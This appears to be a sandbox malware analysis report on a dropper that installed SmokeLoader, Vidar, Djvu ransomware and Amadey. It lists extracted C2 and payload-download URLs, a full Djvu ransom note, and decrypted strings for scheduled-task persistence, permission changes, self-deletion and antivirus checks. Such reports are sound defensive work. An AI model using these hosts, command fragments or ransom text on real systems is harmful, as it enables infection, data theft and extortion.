Snapshot File: hcaresult_15_2_400000_C06.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 1aa7ad5b49f530668a183e90a73bc9b4148c36d86bbe409b38833e7a6cb32ddf
Instruction ID: 6443b9aa99e448e0bf6d3968ec2c12d9b7c28233359361c2743831e0af7b7073
Opcode Fuzzy Hash: 1aa7ad5b49f530668a183e90a73bc9b4148c36d86bbe409b38833e7a6cb32ddf
Instruction Fuzzy Hash: 46F062319446049AE620BB659502B4973A0EF40758F11453FF891B72C2CF7C99018A9D

Uniqueness

Uniqueness Score: -1.00%

Function 004030B7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

__set_statfp.LIBCMT ref: 00406F4B
__set_statfp.LIBCMT ref: 00406F66

Strings

, xrefs: 00406F5E

Memory Dump Source

Source File: 0000000F.00000002.2302156278.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2302135185.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302217773.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302275095.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_C06.jbxd

Similarity

API ID: __set_statfp
String ID:
API String ID: 441778723-3916222277
Opcode ID: b93f1ad6da9f161b26d3a0711e0015d76606c11cab6f739c25b9afbe528431d0
Instruction ID: 11aad54f2528882901bcf2db76df730d0c82508eaf9a44be09392f3084751756
Opcode Fuzzy Hash: b93f1ad6da9f161b26d3a0711e0015d76606c11cab6f739c25b9afbe528431d0
Instruction Fuzzy Hash: FB31D32154E7CA4BCB138B7458542A97F709E02324B2A02DBC8C1BB1E7D32C4E29C79A

Uniqueness

Uniqueness Score: -1.00%

Source: http://zexeq.com/files/1/build3.exe$run	URL Reputation: Label: malware
Source: http://172.86.98.101/xs12pro/Xhuigdkf.dat	Avira URL Cloud: Label: malware
Source: http://zexeq.com/raud/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true;	Avira URL Cloud: Label: malware
Source: http://colisumy.com/dl/build2.exe$run	Avira URL Cloud: Label: malware
Source: http://172.86.98.101/xs12pro/Qdlpaama.wavC	Avira URL Cloud: Label: malware
Source: http://79.137.192.18/9bDc8sQ/index.phppRv0	Avira URL Cloud: Label: malware
Source: http://79.137.192.18/9bDc8sQ/index.phpv	Avira URL Cloud: Label: malware
Source: http://zexeq.com/raud/get.php?pid=F8AFCDC4E800A3319FFB343E83099637	Avira URL Cloud: Label: malware
Source: http://79.137.192.18/9bDc8sQ/index.phpnT	Avira URL Cloud: Label: malware
Source: http://79.137.192.18/9bDc8sQ/index.php	Avira URL Cloud: Label: malware
Source: http://79.137.192.18/9bDc8sQ/index.phpWindows	Avira URL Cloud: Label: malware
Source: http://liuliuoumumy.org/	Avira URL Cloud: Label: malware
Source: https://loveperry.org/d1f678ec34d6fa8f1d632aaee203f5bf/288c47bbc1871b439df19ff4df68f076.exe	Avira URL Cloud: Label: malware
Source: http://172.86.98.101/xs12pro/Qdlpaama.wav	Avira URL Cloud: Label: malware
Source: http://79.137.192.18/9bDc8sQ/index.phpFTi0	Avira URL Cloud: Label: malware
Source: http://zexeq.com/files/1/build3.exerun27c	Avira URL Cloud: Label: malware
Source: http://zexeq.com/files/1/build3.exe$runyinstall020921_delay721_sec.exe0	Avira URL Cloud: Label: malware
Source: http://79.137.192.18/9bDc8sQ/index.phpm32	Avira URL Cloud: Label: malware

Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	Avira: detection malicious, Label: HEUR/AGEN.1312455
Source: C:\Users\user\AppData\Local\Temp\1917.dll	Avira: detection malicious, Label: HEUR/AGEN.1300750
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\callcustomerpro.exe	Avira: detection malicious, Label: HEUR/AGEN.1323708
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\thoseintroductory.exe	Avira: detection malicious, Label: HEUR/AGEN.1323708
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\treelatest.exe	Avira: detection malicious, Label: HEUR/AGEN.1323708
Source: C:\Users\user\AppData\Local\Temp\D900.exe	Avira: detection malicious, Label: TR/Dropper.Gen
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build3.exe	Avira: detection malicious, Label: TR/AD.MalwareCrypter.llbpm
Source: C:\Users\user\AppData\Local\Temp\9EB5.exe	Avira: detection malicious, Label: HEUR/AGEN.1303617
Source: C:\Users\user\AppData\Local\Temp\374E.exe	Avira: detection malicious, Label: TR/AD.Nekark.gdaph
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Avira: detection malicious, Label: HEUR/AGEN.1323708
Source: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe	Avira: detection malicious, Label: TR/AD.Nekark.gdaph
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1312455
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build3[1].exe	Avira: detection malicious, Label: TR/AD.MalwareCrypter.llbpm

Source: colisumy.com	Virustotal: Detection: 20%	Perma Link
Source: lightseinsteniki.org	Virustotal: Detection: 18%	Perma Link
Source: stualialuyastrelia.net	Virustotal: Detection: 21%	Perma Link
Source: zexeq.com	Virustotal: Detection: 21%	Perma Link
Source: alayyadcare.com	Virustotal: Detection: 13%	Perma Link
Source: onualituyrs.org	Virustotal: Detection: 23%	Perma Link
Source: snukerukeutit.org	Virustotal: Detection: 17%	Perma Link
Source: h171008.srv22.test-hf.su	Virustotal: Detection: 15%	Perma Link
Source: sumagulituyo.org	Virustotal: Detection: 17%	Perma Link
Source: liuliuoumumy.org	Virustotal: Detection: 17%	Perma Link
Source: http://colisumy.com/dl/build2.exe$run	Virustotal: Detection: 17%	Perma Link
Source: http://172.86.98.101/xs12pro/Xhuigdkf.dat	Virustotal: Detection: 11%	Perma Link
Source: http://171.22.28.219/treelatestprores.exe	Virustotal: Detection: 11%	Perma Link
Source: http://172.86.98.101/xs12pro/Qdlpaama.wavC	Virustotal: Detection: 11%	Perma Link
Source: http://79.137.192.18/9bDc8sQ/index.php	Virustotal: Detection: 21%	Perma Link
Source: http://wirtshauspost.at/tmp/	Virustotal: Detection: 11%	Perma Link
Source: http://liuliuoumumy.org/	Virustotal: Detection: 17%	Perma Link
Source: http://172.86.98.101/xs12pro/Qdlpaama.wav	Virustotal: Detection: 11%	Perma Link
Source: http://msktk.ru/tmp/	Virustotal: Detection: 16%	Perma Link
Source: http://zexeq.com/files/1/build3.exe$runyinstall020921_delay721_sec.exe0	Virustotal: Detection: 15%	Perma Link

Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	ReversingLabs: Detection: 81%
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	Virustotal: Detection: 80%	Perma Link
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build3.exe	ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build3.exe	Virustotal: Detection: 81%	Perma Link
Source: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe	ReversingLabs: Detection: 81%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build3[1].exe	ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Local\Temp\1917.dll	ReversingLabs: Detection: 22%
Source: C:\Users\user\AppData\Local\Temp\374E.exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Temp\8A61.exe	ReversingLabs: Detection: 18%
Source: C:\Users\user\AppData\Local\Temp\C06.exe	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Temp\D900.exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\treelatest.exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\thoseintroductory.exe	ReversingLabs: Detection: 18%
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	ReversingLabs: Detection: 18%
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\calllcustomer.exe	ReversingLabs: Detection: 15%
Source: C:\Users\user\AppData\Roaming\vdhbahw	ReversingLabs: Detection: 42%

Source: C:\Users\user\AppData\Local\Temp\8A61.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\calllcustomer.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\callcustomerpro.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\thoseintroductory.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\6545.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\treelatest.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\D900.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build3.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\9EB5.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\374E.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build3[1].exe	Joe Sandbox ML: detected

Source: 00000020.00000002.2425606008.00000000020B0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://wirtshauspost.at/tmp/", "http://msktk.ru/tmp/", "http://soetegem.com/tmp/", "http://gromograd.ru/tmp/", "http://talesofpirates.net/tmp/"]}
Source: 00000023.00000002.2434061649.0000000003EE0000.00000040.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199560322242", "https://t.me/cahalgo"], "Botnet": "d37c48c18c73cc0e155c7e1dfde06db9"}
Source: 00000022.00000002.2441220618.00000000023F0000.00000040.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Djvu {"Download URLs": ["http://colisumy.com/dl/build2.exe", "http://zexeq.com/files/1/build3.exe"], "C2 url": "http://zexeq.com/raud/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-xN3VuzQl0a\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelp@airmail.cc\r\n\r\nYour personal ID:\r\n0805JOsie", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windo
Source: 30.2.yiueea.exe.2c0000.0.unpack	Malware Configuration Extractor: Amadey {"C2 url": "79.137.192.18/9bDc8sQ/index.php", "Version": "3.87"}

Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor:
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor:
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor:
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: 79.137.192.18
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: /9bDc8sQ/index.php
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: 3.87
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: S-%lu-
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: %-lu
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: -%lu
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: 577f58beff
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: yiueea.exe
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: SCHTASKS
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: /Create /SC MINUTE /MO 1 /TN
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: /TR "
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: " /F
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: Startup
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: cmd /C RMDIR /s/q
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: rundll32
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: /Delete /TN "
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: Programs
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: %USERPROFILE%
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: \App
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: POST
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: &vs=
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: &sd=
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: &os=
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: &bi=
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: &ar=
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: &pc=
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: &un=
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: &dm=
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: &av=
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: &lv=
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: &og=
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: cred.dll\|clip.dll\|
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: Main
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: http://
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: https://
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: Plugins/
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: &unit=
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: shell32.dll
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: kernel32.dll
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: GetNativeSystemInfo
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: ProgramData\
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: AVAST Software
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: Avira
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: Kaspersky Lab
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: ESET
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: Panda Security
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: Doctor Web
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: 360TotalSecurity
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: Bitdefender
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: Norton
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: Sophos
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: Comodo
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: WinDefender
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: 0123456789
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: ------
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: ?scr=1
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: .jpg
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: ComputerName
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: abcdefghijklmnopqrstuvwxyz0123456789-_
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: -unicode-
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: SYSTEM\ControlSet001\Services\BasicDisplay\Video
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: VideoID
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: \0000
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: DefaultSettings.XResolution
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: DefaultSettings.YResolution
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: ProductName
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: 2019
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: 2022
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: 2016
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: CurrentBuild
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: echo Y\|CACLS "
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: " /P "
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: CACLS "
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: :R" /E
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: :F" /E
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: &&Exit
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: rundll32.exe
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: "taskkill /f /im "
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: " && timeout 1 && del
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: && Exit"
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: " && ren
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: &&
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: Powershell.exe
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: -executionpolicy remotesigned -File "
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: Op
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: RP&
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: RL+
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: RZ%
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: RR0
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: RA/
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: RK8
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: RI8
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: ZG2J
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: pa
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: I5
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: I5
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: i9
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: ;
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: 8&:*
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: -enh
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: :\rt'1
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: _,
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor: bJ
Source: 30.2.yiueea.exe.2c0000.0.unpack	String decryptor:

Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_00411178 CryptDestroyHash,CryptReleaseContext,	11_2_00411178
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_0040E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	11_2_0040E870
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_0040EA51 CryptDestroyHash,CryptReleaseContext,	11_2_0040EA51
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_0040EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	11_2_0040EAA0
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_0040EC68 CryptDestroyHash,CryptReleaseContext,	11_2_0040EC68
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_00410FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	11_2_00410FC0

Source: Traffic	Snort IDS: 2037771 ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst 34.94.245.237:80 -> 192.168.2.4:49748
Source: Traffic	Snort IDS: 2037771 ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst 35.205.61.67:80 -> 192.168.2.4:49749
Source: Traffic	Snort IDS: 2037771 ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst 34.143.166.163:80 -> 192.168.2.4:49760

Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199560322242
Source: Malware configuration extractor	URLs: https://t.me/cahalgo
Source: Malware configuration extractor	URLs: http://wirtshauspost.at/tmp/
Source: Malware configuration extractor	URLs: http://msktk.ru/tmp/
Source: Malware configuration extractor	URLs: http://soetegem.com/tmp/
Source: Malware configuration extractor	URLs: http://gromograd.ru/tmp/
Source: Malware configuration extractor	URLs: http://talesofpirates.net/tmp/
Source: Malware configuration extractor	URLs: http://zexeq.com/raud/get.php
Source: Malware configuration extractor	URLs: 79.137.192.18/9bDc8sQ/index.php

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: PSKSET-ASRU PSKSET-ASRU

Source: Joe Sandbox View	IP Address: 104.21.86.8 104.21.86.8
Source: Joe Sandbox View	IP Address: 79.137.192.18 79.137.192.18
Source: Joe Sandbox View	IP Address: 79.137.192.18 79.137.192.18

Source: global traffic	TCP traffic: 192.168.2.4:49794 -> 49.12.118.151:8000
Source: global traffic	TCP traffic: 192.168.2.4:49818 -> 51.255.152.132:36011
Source: global traffic	TCP traffic: 192.168.2.4:49846 -> 31.41.244.27:41140
Source: global traffic	TCP traffic: 192.168.2.4:49892 -> 195.85.115.195:49310

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

